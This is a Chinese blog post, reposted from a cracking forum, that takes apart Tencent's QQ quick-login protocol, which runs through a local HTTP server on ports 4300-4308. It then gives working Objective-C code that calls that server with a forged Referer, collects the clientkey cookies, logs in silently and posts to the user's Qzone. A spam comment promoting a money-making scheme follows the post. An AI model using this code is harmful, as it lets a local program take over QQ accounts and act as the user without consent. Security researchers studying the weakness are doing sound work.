会飞的鱼

FS - RM
谁能反抗生命随波逐流的离合
首页 » 源码代码 » QQ快速登录协议 并实施“CSRF”

QQ快速登录协议 并实施“CSRF”

Tencent以前使用Activex的方式实施QQ快速登录,在一个陌生浏览器上使用,第一件事就是安装QuickLogin控件。
就在不知道什么时候,快速登录突然不用控件了。
当时很疑惑,Tencent用了什么奇葩的方法做到Web和本地的应用程序交互呢?

在没有插件的情况下,Web页面应该无法直接和本地的应用程序直接交互(除非定义协议,但也只能调起,不能获取程序提供的结果)。

在机缘巧合下(好吧就是闲着无聊看任务管理器发现了本机的httpd,发现Apache在运行的时候)突然意识到了一种可能:如果QQ在本地开了个端口,做了个Web服务器,也就是符合HTTP协议的TCP服务端,然后网页ajax向那个QQ(此时作为Web服务器)发起请求,是不是就可以获得结果呢。

结果真的就是这样,

JS向http://localhost.ptlogin2.qq.com(端口从4300-4308,一个个试试到成功)发起GET一个请求
ping一下就会发现是127.0.0.1,一查端口,确实是QQ在用。

第一个请求:/pt_get_uins?callback=ptui_getuins_CB&r=0.5919004196050326&pt_local_tk=399224727
pt_local_tk 来自cookie,管他是什么东西;r就是个随机数

返回的结果是个JSON数组:
var var_sso_uin_list=[{"account":"登录的QQ账号","face_index":-1,"gender":0,"nickname":"你的QQ昵称","uin":"还是你的QQ账号","client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);

然后用http://ptlogin2.qq.com/getface来获取QQ头像,这里不做讨论

这样你的QQ信息就能显示在Web页面上了。

当你按下你的头像(选择这个登录的时候)

下列请求产生:
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=你的QQ号&callback=ptui_getst_CB&r=0.7293395590126179&pt_local_tk=399224727
同样的,r是随机数,pt_local_tk是来自cookie,local_token
这个请求做什么事情呢?

嗯,Set-Cookie。

然后继续请求
http://ptlogin2.qq.com/jump?clientuin=你的QQ号&keyindex=19&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=1881902769&pt_3rd_aid=0&ptopt=1&style=40
这里唯一的u1就是目标地址

这个请求将返回所有需要的cookie,至此你就登录成功了。

那么学会了协议之后,就发现了一个很严重的问题:如果一个(黑心的)程序代替用户做了这些事情,会发生什么?

立刻动手!

手边只有Mac,于是用的是Obj-C写的。

[self GET:@"http://localhost.ptlogin2.qq.com:4300/pt_get_uins?callback=ptui_getuins_CB&r=0.47178753013324637&pt_local_tk=-1211438011" header:nil];
//这里的GET是我自己封装的一个方法,GET网页上的数据

注意:由于有之前做QQ机器人(基于WebQQ协议)的经验:Referer头是很重要的(必须是.qq.com的域名),一旦错误,必定失败。所以这里没绕弯子

By the way, 那个时候刚刚接触Obj-C,部分代码可能看起来有点蠢,请原谅。
//cookiedata是个NSDictionary

-(void)GET:(NSString*) urladd header:(NSDictionary*)Header;
{
    NSURL *url = [NSURL URLWithString:urladd];
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    NSString* Cookie=@"";
    for (NSString* key in cookiedata) {
        Cookie=[Cookie stringByAppendingFormat:@"%@=%@; ",key,[cookiedata objectForKey:key]];
    }
    [request addValue:Cookie forHTTPHeaderField:@"Cookie"];
    [request addValue:@"http://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=http%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=http%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html" forHTTPHeaderField:@"Referer"];
    NSURLSessionConfiguration *config = [NSURLSessionConfiguration defaultSessionConfiguration];
    NSURLSession *session = [NSURLSession sessionWithConfiguration:config delegate:self delegateQueue:[NSOperationQueue currentQueue]];
    NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
         
        NSDictionary *rspheaders = [(NSHTTPURLResponse *)response allHeaderFields];
        NSArray *cookies =[[NSArray alloc]init];
        cookies = [NSHTTPCookie cookiesWithResponseHeaderFields:rspheaders forURL:url];
         
        for (NSHTTPCookie *cookie in cookies) {
            if([cookie.value isEqualToString:@""])
            {  continue; }
            [cookiedata setObject:cookie.value forKey:cookie.name]; //存起来
        }
        if (error == nil) {
            NSString* aStr;
            aStr = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
             
            if([aStr rangeOfString:@"var_sso_uin_list"].length!=0) //如果这是第一次请求(获取在线列表)
            {
                aStr=[aStr stringByReplacingOccurrencesOfString:@"var var_sso_uin_list=" withString:@""];
                aStr=[aStr stringByReplacingOccurrencesOfString:@";ptui_getuins_CB(var_sso_uin_list);" withString:@""];
               //懒得用正则去匹配了,简单粗暴的做替换
                NSData *data= [aStr dataUsingEncoding:NSUTF8StringEncoding];
                NSDictionary *rootDic = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableLeaves error:&error]; //这里解析JSON
                NSString* uin=@""; 
                for(NSDictionary* name in rootDic)
                {
                    NSLog(@"登录的QQ:%@,昵称:%@",name[@"uin"],name[@"nickname"]);
                    uin=name[@"uin"];
                    break;
                }
                NSString* newul=[[NSString alloc] initWithFormat:@"http://localhost.ptlogin2.qq.com:4302/pt_get_st?clientuin=%@&callback=ptui_getst_CB&r=0.8042511733970701&pt_local_tk=561916029",uin]; //发起下一个请求,也就是登录
                [self GET:newul header:nil];
            }
            else if([aStr rangeOfString:@"var_sso_get_st_uin"].length!=0) //那么如果是第二个请求
            {
                NSString * clientkey;
                clientkey=cookiedata[@"clientkey"];
                clientuin=cookiedata[@"clientuin"]; 
                UInt64 recordTime = [[NSDate date] timeIntervalSince1970]*1000; //时间戳
                NSString* newul=[[NSString alloc] initWithFormat:@"http://ptlogin2.qq.com/jump?clientuin=%@&keyindex=19&pt_aid=549000912&daid=5&u1=%@&pt_local_tk=%llu&pt_3rd_aid=0&ptopt=1&style=40",clientuin,@"http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone",recordTime];
                [cookiedata setObject:[[NSString alloc] initWithFormat:@"%llu",recordTime] forKey:@"pt_local_token"];
                 
                NSString* newcookie=[[NSString alloc] initWithFormat:@"clientuin=%@;clientkey=%@;pt_local_token=%llu",clientuin,clientkey,recordTime];
                NSDictionary *dict = [NSDictionary dictionaryWithObjectsAndKeys:newcookie,@"Cookie", nil];
                [self GET:newul header:dict]; //这里执行第三个请求
            }
            else if([aStr rangeOfString:@"ptui_qlogin_CB('0'"].length!=0)
            {
                aStr=[aStr stringByReplacingOccurrencesOfString:@"ptui_qlogin_CB('0', '" withString:@""];
                aStr=[aStr stringByReplacingOccurrencesOfString:@"', '');" withString:@""];
                aStr=[aStr stringByReplacingOccurrencesOfString: @"\r" withString:@""];
                aStr=[aStr stringByReplacingOccurrencesOfString: @"\n" withString:@""]; //这里继续简单粗暴地用replace解决问题
                [self GET:aStr header:[NSDictionary dictionaryWithObjectsAndKeys:@"",@"Cookie", nil]];//提交check_sig
            }
            else if([urladd rangeOfString:@"check_sig"].length!=0)//check_sig
            {
                [self PostEmotion]; //登录成功了,这里召唤了QQ空间发帖的函数
                [cookiedata writeToFile:plist atomically:YES];
                NSLog(@"Success");
            }
        }
        else
        {
            NSLog(@"Error:%@ URL:[[[[%@]]]]]",error,urladd); //有没有错误
        }
    }];


这样就完成了登录,随便找个QQ空间的接口(这里不贴出来了),发帖成功。

这意味着什么?意味着只要是本地运行的一个程序,完全有机会代替你完成QQ登录,并在QQ空间等不需要二次认证的平台做一些偷偷摸摸的操作,比如M赞


原文转自吾爱破解原文地址:https://www.52pojie.cn/thread-591949-1-1.html

文章如无特别注明均为原创! 作者: 浮生若梦, 转载或复制请以 超链接形式 并注明出处 浮生若梦's Blog
原文地址《 QQ快速登录协议 并实施“CSRF”》发布于2017-12-17

分享到:
0 打赏

评论

  1. #1
    qq_avatar

    免费分享:空手套白狼,每30分钟赚18元,全新暴力正规项目,限时招真传弟子!
    当你还在思考的时候,你的对手早就已经开始操作了!
    赚钱最核心的秘密,那就是行动一定要快!狠!准!你只能从成功走向成功!
    空手套白狼定义:是指花费极小的代价,获取一个丰厚的回报!
    快速拜师渠道:威 sgvg6666  (写验证码126,加我必通过)

    匿名2年前 (2018-01-16)回复
切换注册

登录

您也可以使用第三方帐号快捷登录

Q Q 登 录
微 博 登 录
切换登录

注册